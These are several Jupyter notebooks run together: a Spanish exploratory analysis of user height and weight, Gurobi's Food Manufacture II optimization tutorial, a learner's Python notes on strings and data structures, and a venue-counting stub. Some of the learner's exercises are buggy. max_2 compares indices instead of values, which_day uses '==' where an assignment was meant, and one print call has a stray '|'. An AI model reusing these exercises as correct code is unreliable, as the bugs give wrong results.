perfiles[col] = perfiles[col].str.replace(',', '.')
perfiles[["altura", "peso"]] = perfiles[["altura", "peso"]].apply(pd.to_numeric)
plot(perfiles)
plot(perfiles,"altura",bins=50)
plot(perfiles[(perfiles["altura"]>100) & (perfiles["altura"]<220) ],"altura",bins=50)
plot(perfiles[(perfiles["peso"]<150) & (perfiles["peso"]!=0)],"peso",bins=50)
# +
perfiles_filtrado = perfiles[(perfiles["activo"]==1) &(perfiles["peso"]<150) & (perfiles["peso"]!=0 )& (perfiles["altura"]>100) & (perfiles["altura"]<220)]
plot(perfiles_filtrado,"altura","peso")
# -
plot_correlation(perfiles_filtrado)
sns.set(style="ticks")
sns.pairplot(perfiles_filtrado[["altura","peso","sexo"]], hue="sexo");
sns.set(style="ticks")
sns.pairplot(perfiles_filtrado[["altura","peso","posicion"]], hue="posicion");
# +
sns.set(style="ticks", palette="pastel")
sns.boxplot(x="sexo", y="altura",
hue="posicion",
data=perfiles_filtrado)
sns.despine(offset=10, trim=True)
# +
sns.boxplot(x="sexo", y="peso",
hue="posicion",
data=perfiles_filtrado)
sns.despine(offset=10, trim=True)
| notebooks/eda_perfiles_usuarios.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
# # Food Manufacture II
#
# ## Objective and Prerequisites
#
# Both this model and Food Manufacture I are examples of blending problems. In blending optimization problems, multiple raw materials are combined in a way the meets the stated constraints for the lowest cost. These problems are common in numerous industries including the oil industry (blending different types of crude oil at a refinery) and agriculture (manufacturing feed that meets the different nutritional requirements of different animals).
#
# ### What You Will Learn
#
# In this particular example, we will model and solve a production planning problem where we must create a final product from a number of ingredients — each of which has different costs, restrictions, and features. The aim is to create an optimal multi-period production plan that maximizes profit. More details can be found on the Problem Description and Model Formulation below.
#
# Compared to Food Manufacturing I, this example has additional constraints that change the problem type from a linear program (LP) to a mixed-integer program (MIP), making it harder to solve. You can see these additional constraints at the end of the Problem Description section below.
#
# More information on this type of model can be found in example #2 of the fifth edition of Modeling Building in Mathematical Programming by <NAME> on pages 255 and 299-300.
#
# This modeling example is at the advanced level, where we assume that you know Python and the Gurobi Python API and that you have advanced knowledge of building mathematical optimization models. Typically, the objective function and/or constraints of these examples are complex or require advanced features of the Gurobi Python API.
#
# **Note:** You can download the repository containing this and other examples by clicking [here](https://github.com/Gurobi/modeling-examples/archive/master.zip). In order to run this Jupyter Notebook properly, you must have a Gurobi license. If you do not have one, you can request an [evaluation license](https://www.gurobi.com/downloads/request-an-evaluation-license/?utm_source=Github&utm_medium=website_JupyterME&utm_campaign=CommercialDataScience) as a *commercial user*, or download a [free license](https://www.gurobi.com/academia/academic-program-and-licenses/?utm_source=Github&utm_medium=website_JupyterME&utm_campaign=AcademicDataScience) as an *academic user*.
#
# ---
# ## Problem Description
#
# A manufacturer needs to refine several raw oils and blend them together to produce a given food product that can be sold. The raw oils needed can be divided into two categories:
#
#
# | Category | Oil |
# | ------------- |-------------|
# | Vegetable oils:| VEG 1<br>VEG 2 |
# | Non-vegetable oils: | OIL 1<br>OIL 2<br>OIL 3 |
#
#
# The manufacturer can choose to buy raw oils for the current month and/or buy them on the futures market for delivery in a subsequent month. Prices for immediate delivery and in the futures market are given below in USD/ton:
#
# | Month | VEG 1 | VEG 2 | OIL 1 | OIL 2 | OIL 3|
# | ------------- |-------------| -------------| -------------| -------------| -------------|
# | January| 110 | 120 | 130 | 110 | 115|
# | February |130 | 130 | 110 | 90| 115|
# | March |110 | 140 | 130 | 100 | 95|
# | April |120 | 110 | 120 | 120 | 125|
# | May | 100 | 120 | 150 | 110 | 105|
# | June | 90 | 100 | 140 | 80| 135 |
#
# There are a number of additional factors that must be taken into account. These include:
#
# 1. The final food product sells for $\$150$ per ton.
# 2. Each category of oil (vegetable and non-vegetable) needs to be refined on a different production line.
# 3. There is limited refinement capacity such that in any given month a maximum of 200 tons of vegetable oils and 250 tons of non-vegetable oils can be refined.
# 4. Also, there is no waste in the refinement process, so the sum of the raw oils refined will equal the amount of refined oils available.
# 5. The cost of refining the oils may be ignored.
#
# In addition to the refining limits above, there are limits to the amount of raw oils that can be stored for future use, and there is a cost associated with each ton of oil stored. The limit is 1,000 tons of each raw oil and the storage cost is $\$5$ per ton per month. The manufacturer cannot store the produced food product or the refined oils.
#
# The final food product must have a hardness between three and six on a given hardness scale. For the purposes of the model, hardness blends linearly and the hardness of each raw oil is:
#
# |Oils | Hardness|
# | ------------- |-------------|
# |VEG 1 | 8.8|
# |VEG 2 | 6.1|
# |OIL 1 | 2.0|
# |OIL2 | 4.2|
# |OIL 3| 5.0|
#
# At the start of January, there are 500 tons of each type of raw oil in storage. For the purpose of the model, this should also be the level of raw oils in storage at the end of June.
#
# This version of the Food Manufacture problem adds the following additional constraints to the first version:
#
# - Condition 1: If an oil is used during a month, the minimum quantity used must be 20 tons.
# - Condition 2: The maximum number of oils used in a month is three.
# - Condition 3: The use of VEG1 or VEG2 in a given month requires the use of OIL3 in that same month.
#
#
# Given the above information, what monthly buying and manufacturing decisions should be made in order to maximize profit?
#
# ---
# ## Model Formulation
#
# ### Sets and Indices
#
# $t \in \text{Months}=\{\text{Jan},\text{Feb},\text{Mar},\text{Apr},\text{May},\text{Jun}\}$: Set of months.
#
# $V=\{\text{VEG1},\text{VEG2}\}$: Set of vegetable oils.
#
# $N=\{\text{OIL1},\text{OIL2},\text{OIL3}\}$: Set of non-vegetable oils.
#
# $o \in \text{Oils} = V \cup N$: Set of oils.
#
# ### Parameters
#
# $\text{price} \in \mathbb{R}^+$: Sale price of the final product.
#
# $\text{init_store} \in \mathbb{R}^+$: Initial storage amount in tons.
#
# $\text{target_store} \in \mathbb{R}^+$: Target storage amount in tons.
#
# $\text{holding_cost} \in \mathbb{R}^+$: Monthly cost (in USD/ton/month) of keeping in inventory a ton of oil.
#
# $\text{min_consume} \in \mathbb{R}^+$: Minimum number of tons to consume of a given oil in a month.
#
# $\text{veg_cap} \in \mathbb{R}^+$: Installed capacity (in tons) to refine vegetable oils.
#
# $\text{oil_cap} \in \mathbb{R}^+$: Installed capacity (in tons) to refine non-vegetable oils.
#
# $\text{min_hardness} \in \mathbb{R}^+$: lowest hardness allowed for the final product.
#
# $\text{max_hardness} \in \mathbb{R}^+$: highest hardness allowed for the final product.
#
# $\text{hardness}_o \in \mathbb{R}^+$: Hardness of oil $o$.
#
# $\text{max_ingredients} \in \mathbb{N}$: Maximum number of oil types to consume in a given month.
#
# $\text{cost}_{t,o} \in \mathbb{R}^+$: Estimated purchase price for oil $o$ at month $t$.
#
#
# ### Decision Variables
#
# $\text{produce}_t \in \mathbb{R}^+$: Tons of food to produce at month $t$.
#
# $\text{buy}_{t,o} \in \mathbb{R}^+$: Tons of oil $o$ to buy at month $t$.
#
# $\text{consume}_{t,o} \in \mathbb{R}^+$: Tons of oil $o$ to use at month $t$.
#
# $\text{store}_{t,o} \in \mathbb{R}^+$: Tons of oil $o$ to store at month $t$.
#
# $\text{use}_{t,o} \in \{0,1\}$: 1 if oil $o$ is used on month $t$, 0 otherwise.
#
#
# ### Objective Function
#
# - **Profit**: Maximize the total profit (in USD) of the planning horizon.
#
# \begin{equation}
# \text{Maximize} \quad Z = \sum_{t \in \text{Months}}\text{price}*\text{produce}_t - \sum_{t \in \text{Months}}\sum_{o \in \text{Oils}}(\text{cost}_{t,o}*\text{consume}_{t,o} + \text{holding_cost}*\text{store}_{t,o})
# \tag{0}
# \end{equation}
#
# ### Constraints
#
# - **Initial Balance:** The Tons of oil $o$ purchased in January and the ones previously stored should be equal to the Tons of said oil consumed and stored in that month.
#
# \begin{equation}
# \text{init store} + \text{buy}_{Jan,o} = \text{consume}_{Jan,o} + \text{store}_{Jan,o} \quad \forall o \in \text{Oils}
# \tag{1}
# \end{equation}
#
# - **Balance:** The Tons of oil $o$ purchased in month $t$ and the ones previously stored should be equal to the Tons of said oil consumed and stored in that month.
#
# \begin{equation}
# \text{store}_{t-1,o} + \text{buy}_{t,o} = \text{consume}_{t,o} + \text{store}_{t,o} \quad \forall (t,o) \in \text{Months} \setminus \{\text{Jan}\} \times \text{Oils}
# \tag{2}
# \end{equation}
#
# - **Inventory Target**: The Tons of oil $o$ kept in inventory at the end of the planning horizon should hit the target.
#
# \begin{equation}
# \text{store}_{Jun,o} = \text{target_store} \quad \forall o \in \text{Oils}
# \tag{3}
# \end{equation}
#
# - **Refinement Capacity**: Total Tons of oil $o$ consumed in month $t$ cannot exceed the refinement capacity.
#
# \begin{equation}
# \sum_{o \in V}\text{consume}_{t,o} \leq \text{veg_cap} \quad \forall t \in \text{Months}
# \tag{4.1}
# \end{equation}
#
# \begin{equation}
# \sum_{o \in N}\text{consume}_{t,o} \leq \text{oil_cap} \quad \forall t \in \text{Months}
# \tag{4.2}
# \end{equation}
#
# - **Hardness**: The hardness value of the food produced in month $t$ should be within tolerances.
#
# \begin{equation}
# \text{min_hardness}*\text{produce}_t \leq \sum_{o \in \text{Oils}} \text{hardness}_o*\text{consume}_{t,o} \leq \text{max_hardness}*\text{produce}_t \quad \forall t \in \text{Months}
# \tag{5}
# \end{equation}
#
# - **Mass Conservation**: Total Tons of oil consumed in month $t$ should be equal to the Tons of the food produced in that month.
#
# \begin{equation}
# \sum_{o \in \text{Oils}}\text{consume}_{t,o} = \text{produce}_t \quad \forall t \in \text{Months}
# \tag{6}
# \end{equation}
#
# - **Consumption Range**: Oil $o$ can be consumed in month $t$ if we decide to use it in that month, and the Tons consumed should be between 20 and the refinement capacity for its type.
#
# \begin{equation}
# \text{min_consume}*\text{use}_{t,o} \leq \text{consume}_{t,o} \leq \text{veg_cap}*\text{use}_{t,o} \quad \forall (t,o) \in V \times \text{Months}
# \tag{7.1}
# \end{equation}
#
# \begin{equation}
# \text{min_consume}*\text{use}_{t,o} \leq \text{consume}_{t,o} \leq \text{oil_cap}*\text{use}_{t,o} \quad \forall (t,o) \in N \times \text{Months}
# \tag{7.2}
# \end{equation}
#
# - **Recipe**: The maximum number of oils used in month $t$ must be three.
#
# \begin{equation}
# \sum_{o \in \text{Oils}}\text{use}_{t,o} \leq \text{max_ingredients} \quad \forall t \in \text{Months}
# \tag{8}
# \end{equation}
#
# - **If-then Constraint**: If oils VEG1 or VEG2 are used in month $t$, then OIL3 must be used in that month.
#
# \begin{equation}
# \text{use}_{t,\text{VEG1}} \leq \text{use}_{t,\text{OIL3}} \quad \forall t \in \text{Months}
# \tag{9.1}
# \end{equation}
#
# \begin{equation}
# \text{use}_{t,\text{VEG2}} \leq \text{use}_{t,\text{OIL3}} \quad \forall t \in \text{Months}
# \tag{9.2}
# \end{equation}
#
# ---
# ## Python Implementation
# We import the Gurobi Python Module and other Python libraries.
#
# +
import numpy as np
import pandas as pd
import gurobipy as gp
from gurobipy import GRB
# tested with Python 3.7 & Gurobi 9
# -
# ## Input Data
# We define all the input data of the model.
# +
# Parameters
months = ["Jan", "Feb", "Mar", "Apr", "May", "Jun"]
oils = ["VEG1", "VEG2", "OIL1", "OIL2", "OIL3"]
cost = {
('Jan', 'VEG1'): 110,
('Jan', 'VEG2'): 120,
('Jan', 'OIL1'): 130,
('Jan', 'OIL2'): 110,
('Jan', 'OIL3'): 115,
('Feb', 'VEG1'): 130,
('Feb', 'VEG2'): 130,
('Feb', 'OIL1'): 110,
('Feb', 'OIL2'): 90,
('Feb', 'OIL3'): 115,
('Mar', 'VEG1'): 110,
('Mar', 'VEG2'): 140,
('Mar', 'OIL1'): 130,
('Mar', 'OIL2'): 100,
('Mar', 'OIL3'): 95,
('Apr', 'VEG1'): 120,
('Apr', 'VEG2'): 110,
('Apr', 'OIL1'): 120,
('Apr', 'OIL2'): 120,
('Apr', 'OIL3'): 125,
('May', 'VEG1'): 100,
('May', 'VEG2'): 120,
('May', 'OIL1'): 150,
('May', 'OIL2'): 110,
('May', 'OIL3'): 105,
('Jun', 'VEG1'): 90,
('Jun', 'VEG2'): 100,
('Jun', 'OIL1'): 140,
('Jun', 'OIL2'): 80,
('Jun', 'OIL3'): 135
}
hardness = {"VEG1": 8.8, "VEG2": 6.1, "OIL1": 2.0, "OIL2": 4.2, "OIL3": 5.0}
price = 150
init_store = 500
veg_cap = 200
oil_cap = 250
min_hardness = 3
max_hardness = 6
max_ingredients = 3
holding_cost = 5
min_consume = 20
# -
# ## Model Deployment
#
# For each period, we create a variable which will take into account the value of the food produced. For each product (five kinds of oils) and each period we will create variables for the amount that gets purchased, used, and stored.
#
# For each period and each product, we need a binary variable, which indicates if this product is used in the current period.
food = gp.Model('Food Manufacture II')
# Quantity of food produced in each period
produce = food.addVars(months, name="Food")
# Quantity bought of each product in each period
buy = food.addVars(months, oils, name = "Buy")
# Quantity used of each product in each period
consume = food.addVars(months, oils, name = "Consume")
# Quantity stored of each product in each period
store = food.addVars(months, oils, name = "Store")
# binary variables =1, if consume > 0
use = food.addVars(months, oils, vtype=GRB.BINARY, name = "Use")
# Next, we insert the constraints. The balance constraints ensure that the amount of oil that is in the storage in the previous period plus the amount that gets purchased equals the amount that is used plus the amount that is stored in the current period (for each oil).
# +
#1. Initial Balance
Balance0 = food.addConstrs((init_store + buy[months[0], oil]
== consume[months[0], oil] + store[months[0], oil]
for oil in oils), "Initial_Balance")
#2. Balance
Balance = food.addConstrs((store[months[months.index(month)-1], oil] + buy[month, oil]
== consume[month, oil] + store[month, oil]
for oil in oils for month in months if month != months[0]), "Balance")
# -
# The Inventory Target constraints force that at the end of the last period the storage contains the initial amount of each oil. The problem description demands that the storage is as full as in the beginning.
#3. Inventory Target
TargetInv = food.addConstrs((store[months[-1], oil] == init_store for oil in oils), "End_Balance")
# The capacity constraints restrict the amount of veg and non-veg oils which can be processed per period. Per month only 200 tons of vegetable oil and 250 tons of non-vegetable oil can be processed to the final product.
# +
#4.1 Vegetable Oil Capacity
VegCapacity = food.addConstrs((gp.quicksum(consume[month, oil] for oil in oils if "VEG" in oil)
<= veg_cap for month in months), "Capacity_Veg")
#4.2 Non-vegetable Oil Capacity
NonVegCapacity = food.addConstrs((gp.quicksum(consume[month, oil] for oil in oils if "OIL" in oil)
<= oil_cap for month in months), "Capacity_Oil")
# -
# The hardness constraints limit the hardness of the final product, which needs to remain between 3 and 6. Each oil has a certain hardness. The final product may be made up of different oils. The hardness of the final product is measured by the hardness of each ingredient multiplied by its share of the final product. It is assumed that the hardness blends linearly.
#5. Hardness
HardnessMin = food.addConstrs((gp.quicksum(hardness[oil]*consume[month, oil] for oil in oils)
>= min_hardness*produce[month] for month in months), "Hardness_lower")
HardnessMax = food.addConstrs((gp.quicksum(hardness[oil]*consume[month, oil] for oil in oils)
<= max_hardness*produce[month] for month in months), "Hardness_upper")
# The Mass Conservation constraints ensure that the amount of products used in each period equals the amount of food produced in that period. This ensures that all oil that is used is also processed into the final product (food).
#6. Mass Conservation
MassConservation = food.addConstrs((consume.sum(month) == produce[month] for month in months), "Mass_conservation")
# Condition 1 constraints force that if any product is used in any period then at least 20 tons is used. They also force that the binary variable for each product and each month is set to one if and only if the continuous variable used for the same product and the same month is non-zero. The binary variable is called an indicator variable since it is linked to a continuous variable and indicates if it is non-zero.
#
# It's relatively straightforward to express Condition 1 as a pure MIP constraint set. Let's see how to model this set using Gurobi’s general constraints (from version 7.0 onwards):
#7.1 & 7.2 Consumption Range - Using Gurobi's General Constraints
for month in months:
for oil in oils:
food.addGenConstrIndicator(use[month, oil], 0,
consume[month, oil] == 0,
name="Lower_bound_{}_{}".format(month, oil))
food.addGenConstrIndicator(use[month, oil], 1,
consume[month, oil] >= min_consume,
name="Upper_bound_{}_{}".format(month, oil))
# Condition 2 constraints ensure that each final product is only made up of at most three ingredients.
#8. Recipe
condition2 = food.addConstrs((use.sum(month) <= max_ingredients for month in months),"Recipe")
# Condition 3 constraints ensure that if vegetable one or vegetable two are used, then oil three must also be used. We will use again Gurobi's general constraints:
#9.1 & 9.2 If-then Constraint
for month in months:
food.addGenConstrIndicator(use[month, "VEG1"], 1,
use[month, "OIL3"] == 1,
name = "If_then_a_{}".format(month))
food.addGenConstrIndicator(use[month, "VEG2"], 1,
use[month, "OIL3"] == 1,
name = "If_then_b_{}".format(month))
# The objective is to maximize the profit of the company. This is calculated as revenue minus costs for buying and storing of the purchased products (ingredients).
#0. Objective Function
obj = price*produce.sum() - buy.prod(cost) - holding_cost*store.sum()
food.setObjective(obj, GRB.MAXIMIZE) # maximize profit
# Next, we start the optimization and Gurobi finds the optimal solution.
food.optimize()
# ---
# ## Analysis
#
# When originally designed, this model proved comparatively hard to solve (see Food Manufacture I). The profit (revenue from sales minus cost of raw oils) resulting from this plan is $\$100,278.7$. There are alternative — and equally good — solutions.
#
# ### Purchase Plan
#
# This plan defines the amount of vegetable oil (VEG) and non-vegetable oil (OIL) that we need to purchase during the planning horizon. For example, 480.4 tons of vegetable oil of type VEG1 needs to be bought in June.
# +
rows = months.copy()
columns = oils.copy()
purchase_plan = pd.DataFrame(columns=columns, index=rows, data=0.0)
for month, oil in buy.keys():
if (abs(buy[month, oil].x) > 1e-6):
purchase_plan.loc[month, oil] = np.round(buy[month, oil].x, 1)
purchase_plan
# -
# ### Monthly Consumption
#
# This plan determines the amount of vegetable oil (VEG) and non-vegetable oil (OIL) consumed during the planning horizon. For example, 114.8 tons of vegetable oil of type VEG2 is consumed in January.
# +
rows = months.copy()
columns = oils.copy()
reqs = pd.DataFrame(columns=columns, index=rows, data=0.0)
for month, oil in consume.keys():
if (abs(consume[month, oil].x) > 1e-6):
reqs.loc[month, oil] = np.round(consume[month, oil].x, 1)
reqs
# -
# ### Inventory Plan
#
# This plan reflects the amount of vegetable oil (VEG) and non-vegetable oil (OIL) in inventory at the end of each period of the planning horizon. For example, at the end of February we have 500 tons of Non-vegetable oil of type OIL1.
# +
rows = months.copy()
columns = oils.copy()
store_plan = pd.DataFrame(columns=columns, index=rows, data=0.0)
for month, oil in store.keys():
if (abs(store[month, oil].x) > 1e-6):
store_plan.loc[month, oil] = np.round(store[month, oil].x, 1)
store_plan
# -
# Note: If you want to write your solution to a file, rather than print it to the terminal, you can use the model.write() command. An example implementation is:
#
# `food.write("food-manufacture-2-output.sol")`
#
# ---
# ## References
#
# <NAME>, Model Building in Mathematical Programming, fifth edition.
#
# Copyright © 2020 Gurobi Optimization, LLC
| documents/Advanced/FoodManufacturing2/food_manufacture_2.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3.8.2 64-bit
# language: python
# name: python38264bit7e3c702f16764767914e1c3a23341f94
# ---
# # Python Learning Notes
#
# ## String and Data Structure
# ## 05/28/2020
# ### Daily Objects
#
# 1. Python-100-days: Day 7
#
# 2. *Beginning Python*: Read Chapter 3
#
# 3. *Python Programming*: Read Chapter 1
#
# ### Progress
#
# 1. Python-100-days: Day 7 (80%)
#
# ### Notes
#
# #### Python-100-days: Strings and common data structures
#
# 1. String
#
# $s = a_1 a_2 ... a_n (0 \leq n \leq \infty)$
#
# a. Strings are wrapped in quotes. Three quotes: line breaks
#
# b. Use back-slash `\` to transfer meanings
#
# c. Add `r` in front of a string to prevent back-slach from transferring meanings.
# +
s1 = 'hello, world!'
s2 = """
hello,
world!
"""
print(s1, s2, end='')
s3 = '\'hello, world!\''
s4 = '\n\\hello, world!\\\n'
print(s3)
print(s4)
s5 = r'\'hello, world!\''
print(s5)
# -
# 2. String operators
#
# a. Append: `+`
#
# b. Repeat: `*`
#
# c. Membership: `in`, `not in`
#
# d. Slicing: `[]`, `[:]`
str1 = '0123456789'
print(str1[2:5])
print(str1[2: ])
print(str1[2: : 2])
print(str1[: : 2])
print(str1[: : -1])
print(str1[-5:-1: 2])
# +
str2 = 'hello, world!'
print(len(str2)) # Length, same as length() in R
print(str2.capitalize()) # Capitalize, same as toupper() in R
print(str2.title()) # Same as str_to_title() in R
print(str2.upper()) # Same as str_to_upper() in R
print(str2.find('or')) # Same as str_detect() in R
print(str2.index('or')) # Same as str_match() in R
print(str2.startswith('He')) # Same as str_match(pattern = ^...)
print(str2.endswith('!')) # Same as str_match(pattern = ...$)
print(str2.center(50, ' ')) # Move the string to the right by inserting x y times
print(str2.rjust(50, ' ')) # Move the string from the right by inserting x y times at the right
print(str2.isdigit()) # If the string contains digits only
print(str2.isalpha()) # If the string contains letters only
print(str2.isalnum()) # If the string contains digits or letters only
str3 = ' hello, world! '
print(str3.strip()) # Same as trim() in R
# -
# 3. Formattable string
# Formattable string in three ways
a, b = 5, 10
print('%d * %d = %d' % (a, b, a * b))
print('{0} * {1} = {2}'.format(a, b, a * b))
print(f'{a} * {b} = {a * b}')
# 4. Data structures
#
# **int and float**: scalar, they don't have structures.
#
# **list, tuple, set and dictionary.**
#
# - List
#
# - Using for loop to visit each value in a list
#
# - Using index
#
# - Using value
#
# - Using the `enumerate()` function
# Using index
sample = [1, 3, 5, 7, 9, 11]
for i in range(len(sample)):
print(sample[i])
# Using value
sample = [1, 3, 5, 7, 9, 11]
for value in sample:
print(value)
# Using enumerate()
sample = [1, 3, 5, 7, 9, 11]
for i, value in enumerate(sample):
print(i, value)
# - List (continued)
#
# - List manipulation 1
#
# - Add elements
#
# - Remove elements
#
# - Join two lists together
#
# - Clear all elements
# +
sample = [1, 3, 5, 7, 9, 11]
# Add elements
sample.append(13)
sample.insert(0, -1)
print(sample)
# Remove elements using index
sample.pop(0) # remove the first element
sample.pop(len(sample) - 1) # remove the last element
print(sample)
# Remove elements using value
sample1 = sample.copy()
sample1.remove(5)
print(sample1)
# Join two lists together
sample2 = sample.copy()
sample3 = [15, 17, 19]
sample2.extend(sample3)
print(sample2)
# Clear all elements
sample.clear()
print(sample)
# -
# - List (continued)
#
# - List manipulation 2
#
# - Slicing
# +
topics = ['probability', 'R', 'Python', 'Regression']
topics.extend(['Causal Inference'])
topics += ['Machine Learning']
print(topics)
# List slicing
selected_topics = topics[2:5]
another_list = topics[-4:-1]
print(selected_topics)
print(another_list)
# Copy the list using full slicing
a_copy_of_topics = topics[:]
print(a_copy_of_topics)
# Copy the reversed list using reversed indexing
a_copy_of_reversed_topics = topics[: : -1]
print(a_copy_of_reversed_topics|
# -
# - List (continued)
#
# - List manipulation 3
#
# - Sorting
# +
letters = ['a', 'A', 'c', 'b', 'C', 'B', '9', '0']
letters_sorted = sorted(letters)
# Strings are sorted with initials following this order: 0-9, A-Z, a-z
print(letters_sorted)
# To reverse
letters_sorted_reversed = sorted(letters, reverse=True)
print(letters_sorted_reversed)
# sorted() will not update the original list
print(letters)
# Using the length for indexing instead of initials
letters2 = ['AA', 'BBDC', '12C', '0']
letters_sorted_by_length = sorted(letters2, key=len)
print(letters_sorted_by_length)
print(letters2)
# Sort list directly *This will update the original list*
letters2.sort(key=len)
print(letters2)
# -
# - List comprehensions and generators
#
# - Using function to generate a list
#
# - Using generators
# +
numbers = [x for x in range(1, 10)]
print(numbers)
num_let = [x + y for x in range(1, 6) for y in range(2, 7)]
print(num_let)
# Using list comprehensions will consume additional memory
import sys
print(sys.getsizeof(num_let)) # Check memory usage
# Using generator will not consume additional memory
num_let = (x + y for x in range(1, 4) for y in range(2, 5))
print(sys.getsizeof(num_let)) # Check memory usage
print(num_let) # Generator will not print results
# To get results, call values inside the generator
for val in num_let:
print(val)
# -
# - Change function to generator using `yield`
#
# - Example: generate a Fibonacci sequence using a generator
#
# $$
# F_0 = 0 \\
# F_1 = 1 \\
# F_n = F_{n-1} + F_{n-2} (n \geq 2)
# $$
# +
def fib(n):
a, b = 0, 1
for _ in range(n):
a, b = b, a + b
yield a
def fib_original(n):
a, b = 0, 1
for _ in range(n):
a, b = b, a + b
print(a)
# Check memory usage
print(sys.getsizeof(fib(10))) # Generator does not consume additional memory
print(sys.getsizeof(fib_original(15)))
# -
# - Tuple
#
# - Why using tuples?
#
# - In a multi-threading environment, tuple is better than a list because it does not support edition. This will prevent unintentional changes.
#
# - Tuples consumes less memory than lists and are faster to generate.
# +
a_tuple = (1, 2, 3, 4, 5)
a_list = [1, 2, 3, 4, 5]
print(sys.getsizeof(a_tuple))
print(sys.getsizeof(a_list))
# -
# - Set
#
# - Elements are not allowed to duplicate.
#
# - 
set1 = {1, 2, 3, 3, 3, 3, 3, 2}
set2 = set(range(1, 4))
set3 = {num for num in range(1, 6) if num < 4}
print(set1, set2, set3)
set1 = {1, 2, 3, 3, 3, 3, 3, 2}
set2 = set(range(1, 4))
set3 = {num for num in range(1, 6) if num < 4}
# Add or remove elements from a set
set1.add(4)
set1.add(5)
set2.update([11, 12])
set2.discard(3)
if 2 in set2:
set2.remove(2)
print(set1, set2)
print(set3.pop())
print(set3)
# Intersection
set1 = {1, 2, 3, 4}
set2 = {3, 4, 5, 6}
print(set1 & set2)
print(set1.intersection(set2))
# Union
print(set1 | set2)
print(set1.union(set2))
# Subtracting
print(set1 - set2)
print(set1.difference(set2))
# Symmetric Difference
print(set1 ^ set2)
print(set1.symmetric_difference(set2))
# Determine if subset
print(set2 <= set1)
print(set2.issubset(set1))
print(set2 >= set1)
print(set2.issuperset(set1))
# - Dictionary
#
# - {key: value}
grade = {'Tim': 90, 'Jack': 85, 'Mary': 79}
print(grade)
grade2 = dict(Tim=90, Jack=85, Mary=79)
print(grade2)
grade3 = dict(zip(['Tim', 'Jack', 'Mary'], [90, 85, 79]))
print(grade3)
sample = {num: num ** 2 for num in range(1, 10)}
print(sample)
# Use key to get value
print(grade['Tim'])
# Use for loop
for key in grade:
print(f'{key}: {grade[key]}')
# Update elements in a dictionary
grade['Tim'] = 85
print(grade)
grade.update(Tim=99)
print(grade)
# Use get with default
# Get the value of a certain element
# If non exist, create one with default value
print(grade.get('Linda', 86))
# Delete elements
print(grade2.popitem())
print(grade.pop('Tim', 99))
# Clear a dictionary
grade3.clear()
print(grade3)
# +
# Exercise 1
# Marquee
def main(content):
count = 0
while count < 14:
print(content)
content = content[1: ] + content[0]
count += 1
if __name__ == '__main__':
main('Hello, World!')
# +
# Exercise 2
# Develop an authorization code generator that generates a code with certain length
import random
import string
def auth_code_generator(code_len=6):
poll = string.ascii_lowercase + string.ascii_uppercase + string.digits
output = ''
for _ in range(code_len):
index = random.randint(0, len(poll) - 1)
output += poll[index]
return output
# Test
print(auth_code_generator(code_len=4))
print(auth_code_generator())
print(auth_code_generator(code_len=10))
# Reference
# https://stackoverflow.com/questions/16060899/alphabet-range-in-python
# +
# Exercise 3
# Develop a function to return file suffix format
def get_suffix(filename, with_dot=True):
"""
Get file's suffix value using rfind()
:param with_dot: whether the return value has a dot with it
"""
dot_index = filename.rfind('.')
if 0 < dot_index < len(filename) - 1:
suffix_index_start = dot_index if with_dot else dot_index + 1
return filename[suffix_index_start: ]
else:
return None
# Test
get_suffix('Test.pdf')
get_suffix('Sample.txt.pdf', with_dot=False)
# +
# Exercise 4
# Design a function to return the largest and the second largest number in a list
def max_2(list_input):
# Validate
valid = True
for item in list_input:
if type(item) != int:
print('Please enter integer only!')
valid = False
return ''
if valid:
if len(list_input) < 2:
print('There is only one element in this list.')
return ''
else:
if list_input[0] > list_input[1]:
max_1, max_2 = [list_input[0], list_input[1]]
else:
max_1, max_2 = [list_input[1], list_input[0]]
for i in range(2, len(list_input)):
if i > max_1:
max_1 = list_input[i]
max_2 = max_1
elif i > max_2:
max_2 = list_input[i]
return max_1, max_2
# Test
list0 = [23, 24, -4, 2, 6]
list1 = [3, 5, 2, 5, 6, 7]
list2 = [5, 4, 7, 13, 'HAHA']
list3 = [509]
print(max_2(list1))
print(max_2(list2))
print(max_2(list3))
# +
# Exercise 5
# Calculate the index of the day as of this year
def which_day(year, month, day):
# Determine leap year
is_leap = False
if year % 4 == 0 and year % 100 != 0 or year % 400 == 0:
is_leap = True
month_index = [1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1]
for i in range(len(month_index) - 1):
if month_index[i] == 1:
month_index[i] = 31
else:
month_index[i] = 30
month_index[1] == 29 if is_leap else month_index[1] == 28
total = 0
for i in range(month - 1):
total += month_index[i]
return total + day
# Test
print(which_day(1980, 11, 28))
print(which_day(1981, 12, 31))
print(which_day(2018, 1, 1))
print(which_day(2016, 3, 1))
# +
# Exercise 6
# Print Pascal's triangle
def pascal_tri(n):
"""
Pascal's Triangle
n: levels of the triangle
"""
output = [[]] * n # Preset slots for input
for row in range(len(output)):
output[row] = [0] * (row + 1)
for col in range(len(output[row])):
if col == 0 or col == row:
output[row][col] = 1
else:
output[row][col] = output[row - 1][col] + output[row - 1][col - 1]
print(output[row][col], end='')
print()
# Test
pascal_tri(5)
| Daily Progress/Day 7 - String and data structure.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
# # Count journals
#
# - What are the patterns for each representative conferences?
# - How many entries should I manually label, for some representative conferences?
#
# I submitted [an issue](https://github.com/allenai/s2orc/issues/26) to ask if the S2ORC authors plan to unify the conference names in the future releases.
# +
import json
import numpy as np
import pandas as pd
import os, sys, time
import re
from pprint import pprint
from utils import timed_func
with open(os.path.join("../scripts/20200718_preprocess", "journals_count.json"), "r") as f:
journals = json.loads(f.read())
export_data_dir = "0826_data"
if not os.path.exists(export_data_dir):
os.makedirs(export_data_dir)
journals.keys()
# -
cs = journals["Computer Science"]
len(cs)
# +
# Rank the journals by num publications
def most_popular_journals(catname, num=10, min_count=10):
category = journals[catname]
L = [(k,category[k]) for k in category if category[k]>min_count]
L.sort(key=lambda item: item[1], reverse=True)
print("{} venues contain more than {} items".format(len(L), min_count))
pprint(L[:num])
most_popular_journals("Computer Science", 10)
# +
